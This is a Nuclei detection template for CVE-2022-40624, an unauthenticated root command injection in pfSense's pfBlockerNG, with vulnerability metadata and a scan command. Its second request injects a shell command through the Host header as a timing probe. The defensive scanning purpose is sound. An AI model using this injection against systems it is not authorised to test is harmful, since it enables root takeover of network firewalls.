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pfSense pfBlockerNG - OS Command Injection

ID: CVE-2022-40624

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,pfsense,pfblockerng,rce,sqli,netgate

pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.

id: CVE-2022-40624
info:
name: pfSense pfBlockerNG - OS Command Injection
author: ritikchaddha
severity: critical
description: |
pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.
impact: |
Allows remote attackers to execute arbitrary code on the affected system
remediation: |
Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624
reference:
- https://github.com/dhammon/pfBlockerNg-CVE-2022-40624
- https://nvd.nist.gov/vuln/detail/CVE-2022-40624
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-40624
cwe-id: CWE-78
epss-score: 0.00608
epss-percentile: 0.78334
cpe: cpe:2.3:a:pfsense:pfblockerng:*:*:*:*:*:*:*:*
metadata:
vendor: pfsense
product: pfblockerng
shodan-query: "pfBlockerNG"
fofa-query: "pfBlockerNG"
tags: cve,cve2024,pfsense,pfblockerng,rce,sqli,netgate
flow: http(1) && http(2)
http:
- raw:
- |
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "GIF")'
- 'contains(content_type, "image/gif")'
condition: and
internal: true
- raw:
- |+
@timeout: 20s
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}' *; sleep 7; '
unsafe: true
matchers:
- type: dsl
dsl:
- duration>=7
# digest: 490a0046304402205abcfb2ce0db703ae59fff7b6d8e28e64fbf0a325d14c06471c42331e8a558f102203ef162a43c6a735364e9293afe0d1a0da8312c7801f4e2a6af782dee7162a256:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-40624.yaml"

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